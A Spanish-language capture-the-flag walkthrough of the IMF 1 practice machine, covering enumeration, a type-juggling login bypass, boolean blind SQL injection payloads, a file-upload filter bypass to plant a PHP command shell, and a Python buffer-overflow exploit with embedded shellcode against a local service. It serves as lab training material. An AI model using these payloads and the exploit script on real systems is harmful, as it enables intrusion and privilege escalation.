Descripcion : IMF is a intelligence agency that you must hack to get all flags and ultimately root. The flags start off easy and get harder as you progress. Each flag contains a hint to the next flag.
Reconocimiento
Máquina IMF 1
De esta manera iniciamos un escaneo a todos los puertos.
Posteriormente identificamos versiones y script comunes
Ingresamos a la página e identificamos las tecnologías que usa.
Fuzzing con las extensiones comunes, que podría tener la página. Es aquí donde encontramos 3 recursos .php
Enumeracion
Después de ingresar en cada uno de ellos, logramos encontrar en el código fuente de contact.php, en donde tenemos una flag. Además, tendremos en cuenta a los miembros que nos aparece en la página.
A simple vista esta en base64, que al decodificar nos brindará una pista.
Ahora de esta manera al revisar los recursos de la red, podemos ver 3 recursos que aparentemente están en base64.
Si los juntamos y decodificamos tendremos la 2° flag, también con otra pista.
Al usarlo en la web podremos ver un panel de autenticación. Capturamos el tráfico con burpsuite.
Explotacion
Es aquí donde intentaremos aplicar SQLi , XML, XPath, sin éxito. Pero intentaremos utilizar Type Juggling, de esta manera podremos ver, que no esta sanitizada las entradas, y de esta manera tenemos una respuesta con una flag y un recurso adicional.
Como la misma pista nos indica, ya comprobada la vulnerabilidad solo queda darle a Forward y desactivar el proxy del Burpsuite, para ganar acceso.
Como se podrá apreciar. Tendremos un usuario llamado rmichaels, director de IMF.
Al hacer click en el hypervinculo, tenemos este otro recurso, donde llama a un csm.php, es aquí donde probaremos LFI, sin éxito.
De esta manera probamos SQLi, confirmando que es de tipo booleano. Esto nos representa una respuesta diferente si la query es True o False. La respuesta cambia a Under Construction cuando es TRUE.
De esta manera intentaremos buscar la cantidad de columnas, pero no se nos muestra la respuesta.
Entonces buscaremos como se llama la base de datos, extrayendo caracter según su posición.
Como uno se dará cuenta, este proceso en la web es lento y tedioso, por ende se buscará entablar un script por python para automatizar y encontrar las bases de datos y posibles tablas. Antes de ellos es importante definir la Longitud de la Base de datos
Luego revisamos la respuesta, y verificamos que es necesario una cookie para poder loguearnos, esto es importante, puesto que buscamos la respuesta, y con esta comparar si el caracter es correcto o no, según nuestra query SQL.
Entonces la query para determinar las base de datos será:
1
home' or substring((select schema_name from information_schema.schemata limit %d,1),1,1)='a
O evitar tener un bucle triple con
1
home' or substring((select group_concat(schema_name) from information_schema.schemata),1,1)='a
Podemos usar sqlmap o un Script en python, en el cual genere un bucle entre caracter y posicion.
Datos
1
sqli_url= main_url + "home' or substring((select group_concat(pagename) from pages),%d,1)='%s" % (position, character)
Teniendo el dato correcto, la ingresamos y notamos una imagen con un CodeQR, la capturamos y decodificamos.
Una nueva flag, nos indica un recurso .php, donde cargaremos en la web.
File Upload Es aquí donde tenemos un File Upload. Lo capturamos con Burpsuite para verificar que extensiones permite.
Creamos un archivo .php que, al subirlo, con un parametro cmd, pueda ingresar un comando que se ejecute en el sistem. Pero como es de esperarse, no permite .php.
Por ende aplicaremos Magic Numbers, es aqui donde cambiamos la extension de nuestro archivo, y la cabecera Content-Type. Pero igual manera no reconoce la extensión, es por ende que convertimos a system en HEX , para bypassear y conseguir subir este archivo malicioso. Como respuesta exitosa tendremos un recurso adicional.
Pero esa dirección no la reconoce por eso cambiamos la extension a gif. Adicionalmente, verificamos que en la respuesta siempre se menciona un valor Uploads, es aquí donde se guarda las imágenes.
Reverse shell Ya confirmado el File Upload, llamamos el cmd anteriormente definido y aplicamos el reverse shell. Recomendable urlencodear el &
Una flag adicional que nos indica que existe un servicio agent
Buscando el archivo vemos que es un binario, y el otro un registro en que puerto corre este servicio y con que usuario.
1
find / -name agent 2>/dev/null
Nos transferimos el binario para analizar.
Persistencia
El programa se corrompe al sobrepasar el limite del buffer, para determinar la longitud de este, crearemos un patron de 200 caracteres aleatorios, ahora corremos nuesvamente el binaria e introducimos este patron.
De esta manera podemos observar que al ingresar el patron, nuestro registro EIP cambia, en cierta posicion.
Ahora identificaremos el offset
De esta manera intentaremos sobreescribir el EIP con 4 bytes de B.
Como se podrá apreciar en la siguiente imagen, se logro sobrescribir el EIP, gracias a esto buscaremos que EIP apunte al registro EAX y así ejecutar una instrucción maliciosa.
Antes de proceder, verificamos las protecciones del binario, para este caso, la mayoría esta des habilitada.
Ademas analizaremos los registros
Lo que sucede con esta dirección, es que existe el lsr , y por ende la aleatorización, esto va a cambiar constantemente. Por esto mismo buscamos en otro registro para saber cuando empieza la letra A
El registro EAX apunta exactamente al comienzo de nuestro código shell. Entonces ahora, realizaremos un call eax, para llamar al registro eax y así se ejecute nuestro shellcode malicioso.
El siguiente paso es encontrar el código de operación “JMP EAX” o “CALL EAX” , observar la dirección de memoria y usar esa dirección para sobrescribir EIP.
Creamos nuestro shellcode, con los principales badchars. Posteriormente nos preparamos para el ataque con un script en python.
- Principales badchars, que pueden impedir que nuestro shellcode se interprete de la manera correcta.
- Adicionalmente vemos que la cantidad de bytes es 95 del shellcode, es decir faltaría 73 bytes para llenar el buffer y después sobreescribir el EIP, para que apunte al EAX, donde ira nuestro payload malicioso.
Por ello para el script colocamos el shellcode en bytes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python
from struct import pack
import socket
shellcode = (b"\xd9\xc5\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x12\xbd\x14\x8f"
b"\x3f\x9c\x83\xc3\x04\x31\x6b\x13\x03\x7f\x9c\xdd\x69\x4e"
b"\x79\xd6\x71\xe3\x3e\x4a\x1c\x01\x48\x8d\x50\x63\x87\xce"
b"\x02\x32\xa7\xf0\xe9\x44\x8e\x77\x0b\x2c\xd1\x20\xc6\x27"
b"\xb9\x32\x19\x33\xe8\xba\xf8\x8b\x6a\xed\xab\xb8\xc1\x0e"
b"\xc5\xdf\xeb\x91\x87\x77\x9a\xbe\x54\xef\x0a\xee\xb5\x8d"
b"\xa3\x79\x2a\x03\x67\xf3\x4c\x13\x8c\xce\x0f")
offset = 168
# Se agrega en bytes ciertos A , dependiendo de los que bytes que falta para llenar el buffer antes de reeplazar el EIP, y luego se agrega la direccion del EAX.
payload = shellcode + b"A" * (offset-len(shellcode)) + pack("<I",0x8048563)
#Entablamos conexion
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",7788))
data=s.recv(1024)
print(data)
Realizaremos una prueba
Es aquí, donde veremos si nuestro script está funcionando, nos pedirá el ID, la opción 3 y luego ya entraría el payload. ✔Si el programa objetivo envía un mensaje solicitando datos adicionales antes de que puedas enviar tu cadena de datos, necesitarías recibir ese mensaje primeramente utilizando s.recv() para poder enviar tu información posteriormente.
1
2
3
4
5
6
7
8
9
10
11
12
13
#El \n representa a un "Enter"
payload = shellcode + b"A" * (offset-len(shellcode)) + pack("<I",0x8048563) + b"\n"
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1",7788))
#Como el binario pide datos adicionales antes de ejecutar nuestro payload, agregamos:
s.recv(1024)
s.send(b"4893572\n") ##ID + Enter
s.recv(1024)
s.send(b"3\n") ##Ingresar Opcion 3 + Enter
s.recv(1024)
s.send(payload)
Y de esta manera se logro escalar privilegios, con un BufferOverflow y capturar la flag.